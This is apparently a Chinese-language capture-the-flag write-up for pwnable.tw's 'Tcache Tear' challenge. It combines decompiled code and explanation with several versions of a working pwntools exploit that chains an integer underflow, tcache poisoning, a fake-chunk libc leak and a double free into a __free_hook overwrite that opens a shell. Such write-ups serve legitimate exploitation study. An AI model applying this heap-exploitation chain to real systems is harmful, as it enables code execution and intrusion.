# Pwnable.tw-tcache tear
> Author: 堇姬Naup
## analyze code
先IDA逆一波,把函數重新命名
### main
```c
void __fastcall __noreturn main(__int64 a1, char **a2, char **a3)
{
__int64 choice; // rax
unsigned int free_chunk_cnt; // [rsp+Ch] [rbp-4h]
IOinit();
printf("Name:");
read_str((__int64)&unk_602060, 0x20u);
free_chunk_cnt = 0;
while ( 1 )
{
while ( 1 )
{
menu();
choice = read_choice();
if ( choice != 2 )
break;
if ( free_chunk_cnt <= 7 )
{
free(ptr);
++free_chunk_cnt;
}
}
if ( choice > 2 )
{
if ( choice == 3 )
{
info();
}
else
{
if ( choice == 4 )
exit(0);
LABEL_14:
puts("Invalid choice");
}
}
else
{
if ( choice != 1 )
goto LABEL_14;
create();
}
}
}
```
最多只能free 8個chunk
並且會free掉當前最新的chunk
ptr 在 bss上,並且沒有開PIE,若能任意寫掉free(ptr),就可以去free想要的地方
有以下功能
```
puts(" 1. Malloc ");
puts(" 2. Free ");
puts(" 3. Info ");
puts(" 4. Exit ");
```
### create (malloc)
```c
int sub_400B14()
{
unsigned __int64 v0; // rax
int size; // [rsp+8h] [rbp-8h]
printf("Size:");
v0 = read_choice();
size = v0;
if ( v0 <= 0xFF )
{
ptr = malloc(v0);
printf("Data:");
read_str((__int64)ptr, size - 16);
LODWORD(v0) = puts("Done !");
}
return v0;
}
```
size不可以小於 0xFF,並且可以寫值到chunk上
### info
印出 name ,位在0x602060,若能讓libc在name位置上,可以拿來leak libc
```c
ssize_t sub_400B99()
{
printf("Name :");
return write(1, &unk_602060, 0x20uLL);
}
```
## 分析
沒開PIE

首先我的想法是,如果size小於16,那size - 16會變成一個超大的數字,導致heap overflow,這邊考慮可以打tcache poinsoning到free hook上寫system
之後malloc一塊寫/bin/sh,最後free
我先malloc 一塊大小為0xe
一個大小為 0x60
這樣會拿到一塊 0x20
這樣會拿到一塊 0x70
```
--------------------------
| 0 | 0x20 |
| 0 | 0 | <-ptr1
--------------------------
| 0 | 0x70 |
| 0 | 0 | <-ptr2
| | |
| | |
--------------------------
```
free 掉兩塊
接下來malloc一塊 0xe
就會拿到 0x20那塊
0xe - 0xf = -1 = 0xfffff...
```
--------------------------
| 0 | 0x20 |
| a * 8 | a*8 | <-ptr1
--------------------------
| a * 8 | 0x71 |
| fake chunk | 0 | <-ptr2
| | |
| | |
--------------------------
```
```
tcache[0x70] -> chunk 2 -> fake chunk
```
並且有heap overflow,可以蓋掉fd,之後malloc兩次就可以拿到任意寫
```python=
from pwn import *
from NAUP_pwn_lib import *
import time
from NAUP_filestructure_lib import *
def s(payload): return r.send(payload)
def sl(payload): return r.sendline(payload)
def sla(after, payload): return r.sendlineafter(after, payload)
def sa(after, payload): return r.sendafter(after, payload)
def rc(num): return r.recv(num)
def rcl(): return r.recvline()
def rcls(num): return r.recvlines(num)
def rcu(payload): return r.recvuntil(payload)
def ita(): return r.interactive()
def cl(): return r.close()
def tsl(): return time.sleep(0.2)
context(arch = 'amd64', os = 'linux')
REMOTE_LOCAL=input("local?(y/n):")
if REMOTE_LOCAL=="y":
r=process('./tcachetear')
debug_init()
else:
REMOTE_INFO=split_nc("nc naup.com 2000")
REMOTE_IP=REMOTE_INFO[0]
REMOTE_PORT=int(REMOTE_INFO[1])
r=remote(REMOTE_IP,REMOTE_PORT)
### heapIO
def MALLOC(size, data):
sla(b'Your choice :' , b'1')
sla(b'Size:' , str(size).encode())
sla(b'Data:' , data)
def FREE():
sla(b'Your choice :',b'2')
def INFO():
sla(b'Your choice :',b'3')
### exploit
p_c(r,'b *0x400bfb')
name_bss = 0x602060
#name_payload = p64(0)+p64(0x500)
sla(b'Name:',b'aaa')
MALLOC(0xe,b'bbb')
FREE()
MALLOC(0x60,b'ccc')
FREE()
aaw_payload = p64(0)+p64(0)+p64(0)+p64(0x71)+p64(name_bss-0x10)
MALLOC(0xe,aaw_payload)
MALLOC(0x60,b'\n')
MALLOC(0x60,b'aaaaa')
###
ita()
```
那接下來要想想如何leak libc
這邊想要利用 unsorted bin來leak libc ,但是我們只能malloc小於0xff,這邊的想法是利用任意寫改chunk fd到bss段上偽造一個大小為unsorted bin 的 fake chunk
info會印出namespace上的東西,將fake chunk fd偽造到這上面,就可以了
但是unsorted bin free要指向 data,這邊可以透過覆蓋
```
bss:0000000000602088 ptr
```
也就是下個要free的位置來修改 pointer,free任意位置
```python=
from pwn import *
from NAUP_pwn_lib import *
import time
from NAUP_filestructure_lib import *
def s(payload): return r.send(payload)
def sl(payload): return r.sendline(payload)
def sla(after, payload): return r.sendlineafter(after, payload)
def sa(after, payload): return r.sendafter(after, payload)
def rc(num): return r.recv(num)
def rcl(): return r.recvline()
def rcls(num): return r.recvlines(num)
def rcu(payload): return r.recvuntil(payload)
def ita(): return r.interactive()
def cl(): return r.close()
def tsl(): return time.sleep(0.2)
context(arch = 'amd64', os = 'linux')
REMOTE_LOCAL=input("local?(y/n):")
if REMOTE_LOCAL=="y":
r=process('./tcachetear')
debug_init()
else:
REMOTE_INFO=split_nc("nc naup.com 2000")
REMOTE_IP=REMOTE_INFO[0]
REMOTE_PORT=int(REMOTE_INFO[1])
r=remote(REMOTE_IP,REMOTE_PORT)
### heapIO
def MALLOC(size, data):
sla(b'Your choice :' , b'1')
sla(b'Size:' , str(size).encode())
sla(b'Data:' , data)
def FREE():
sla(b'Your choice :',b'2')
def INFO():
sla(b'Your choice :',b'3')
### exploit
#p_c(r,'b *0x400bfb')
name_bss = 0x602060
#name_payload = p64(0)+p64(0x500)
sla(b'Name:',b'aaa')
MALLOC(0xe,b'bbb')
FREE()
MALLOC(0x60,b'ccc')
FREE()
aaw_payload = p64(0)+p64(0)+p64(0)+p64(0x71)+p64(name_bss-0x10)
MALLOC(0xe,aaw_payload)
MALLOC(0x60,b'\n')
fake_chunk = p64(0)+p64(0x481)+p64(0)*5+p64(0x602060)
MALLOC(0x60,fake_chunk)
FREE()
###
ita()
```
吃 double free or corruption (!prev)
感覺是連下一塊都要偽造
```python=
from pwn import *
from NAUP_pwn_lib import *
import time
from NAUP_filestructure_lib import *
def s(payload): return r.send(payload)
def sl(payload): return r.sendline(payload)
def sla(after, payload): return r.sendlineafter(after, payload)
def sa(after, payload): return r.sendafter(after, payload)
def rc(num): return r.recv(num)
def rcl(): return r.recvline()
def rcls(num): return r.recvlines(num)
def rcu(payload): return r.recvuntil(payload)
def ita(): return r.interactive()
def cl(): return r.close()
def tsl(): return time.sleep(0.2)
context(arch = 'amd64', os = 'linux')
REMOTE_LOCAL=input("local?(y/n):")
if REMOTE_LOCAL=="y":
r=process('./tcachetear')
debug_init()
else:
REMOTE_INFO=split_nc("nc chall.pwnable.tw 10207")
REMOTE_IP=REMOTE_INFO[0]
REMOTE_PORT=int(REMOTE_INFO[1])
r=remote(REMOTE_IP,REMOTE_PORT)
### heapIO
def MALLOC(size, data):
sla(b'Your choice :' , b'1')
sla(b'Size:' , str(size).encode())
sla(b'Data:' , data)
def FREE():
sla(b'Your choice :',b'2')
def INFO():
sla(b'Your choice :',b'3')
### exploit
#p_c(r,'b *0x400bfb')
name_bss = 0x602060
#name_payload = p64(0)+p64(0x500)
sla(b'Name:',b'aaa')
MALLOC(0xe,b'fff')
FREE()
MALLOC(0x80,b'rrr')
FREE()
next_fake_addr = name_bss - 0x10 + 0x500
aaw_fake_chunk_payload = p64(0)*3 + p64(0x91) + p64(next_fake_addr)
MALLOC(0xe, aaw_fake_chunk_payload)
MALLOC(0x80,b'\n')
next_fake_chunk = p64(0)+p64(0x21) + p64(0) * 3 + p64(0x21)
MALLOC(0x80,next_fake_chunk)
####
MALLOC(0xe,b'bbb')
FREE()
MALLOC(0x60,b'ccc')
FREE()
aaw_payload = p64(0)+p64(0)+p64(0)+p64(0x71)+p64(name_bss-0x10)
MALLOC(0xe,aaw_payload)
MALLOC(0x60,b'\n')
fake_chunk = p64(0)+p64(0x501)+p64(0)*5+p64(0x602060)
MALLOC(0x60,fake_chunk)
FREE()
INFO()
rcu(b'Name :')
leaklibc = u64(rcl()[:8])
libc_offset = 0x3ebca0
libc_base = leaklibc - libc_offset
NAUPINFO('LEAK LIBC',hex(leaklibc))
NAUPINFO('LIBC BASE',hex(libc_base))
###
ita()
```
這樣就成功leak libc了
目前用了5個FREE
加上寫掉 free_hook的兩個free,跟觸發free_hook的一個free,剛剛好
這邊再打一輪 tcache poinsoning 到free_hook,改成system 開一個 shell
這邊chunk狀況其實有點混亂了,所以最後改打double free來寫free hook,一樣用到兩個FREE
```
tcache[0x50] -> chunk -> chunk -> chunk -> ...
```
```
tcache[0x50] -> chunk -> free_hook
```
之後malloc一塊,此時free指向該chunk data,寫上/bin/sh再來free掉就會是 system('/bin/sh')
### exploit
```python=
from pwn import *
from NAUP_pwn_lib import *
import time
from NAUP_filestructure_lib import *
def s(payload): return r.send(payload)
def sl(payload): return r.sendline(payload)
def sla(after, payload): return r.sendlineafter(after, payload)
def sa(after, payload): return r.sendafter(after, payload)
def rc(num): return r.recv(num)
def rcl(): return r.recvline()
def rcls(num): return r.recvlines(num)
def rcu(payload): return r.recvuntil(payload)
def ita(): return r.interactive()
def cl(): return r.close()
def tsl(): return time.sleep(0.2)
context(arch = 'amd64', os = 'linux')
REMOTE_LOCAL=input("local?(y/n):")
if REMOTE_LOCAL=="y":
r=process('./tcachetear')
debug_init()
else:
REMOTE_INFO=split_nc("nc chall.pwnable.tw 10207")
REMOTE_IP=REMOTE_INFO[0]
REMOTE_PORT=int(REMOTE_INFO[1])
r=remote(REMOTE_IP,REMOTE_PORT)
### heapIO
def MALLOC(size, data):
sla(b'Your choice :' , b'1')
sla(b'Size:' , str(size).encode())
sla(b'Data:' , data)
def FREE():
sla(b'Your choice :',b'2')
def INFO():
sla(b'Your choice :',b'3')
### exploit
#p_c(r,'b *0x400bfb')
name_bss = 0x602060
#name_payload = p64(0)+p64(0x500)
sla(b'Name:',b'aaa')
MALLOC(0xe,b'fff')
FREE()
MALLOC(0x80,b'rrr')
FREE()
next_fake_addr = name_bss - 0x10 + 0x500
aaw_fake_chunk_payload = p64(0)*3 + p64(0x91) + p64(next_fake_addr)
MALLOC(0xe, aaw_fake_chunk_payload)
MALLOC(0x80,b'\n')
next_fake_chunk = p64(0)+p64(0x21) + p64(0) * 3 + p64(0x21)
MALLOC(0x80,next_fake_chunk)
####
MALLOC(0xe,b'bbb')
FREE()
MALLOC(0x60,b'ccc')
FREE()
aaw_payload = p64(0)+p64(0)+p64(0)+p64(0x71)+p64(name_bss-0x10)
MALLOC(0xe,aaw_payload)
MALLOC(0x60,b'\n')
fake_chunk = p64(0)+p64(0x501)+p64(0)*5+p64(0x602060)
MALLOC(0x60,fake_chunk)
FREE()
INFO()
rcu(b'Name :')
leaklibc = u64(rcl()[:8])
libc_offset = 0x3ebca0
libc_base = leaklibc - libc_offset
NAUPINFO('LEAK LIBC',hex(leaklibc))
NAUPINFO('LIBC BASE',hex(libc_base))
free_hook_libc = libc_base + 0x3ed8e8
system_libc = libc_base + 0x4f440
MALLOC(0x40,b'kkk')
FREE()
FREE()
MALLOC(0x40,p64(free_hook_libc))
MALLOC(0x40,p64(free_hook_libc))
NAUPINFO('freehook',hex(free_hook_libc))
NAUPINFO('system',hex(system_libc))
MALLOC(0x40,p64(system_libc))
MALLOC(0x30,b'/bin/sh\x00')
FREE()
###
ita()
```
串起了 integer overflow 、 tcache poinsoning 、double free,終於排完了
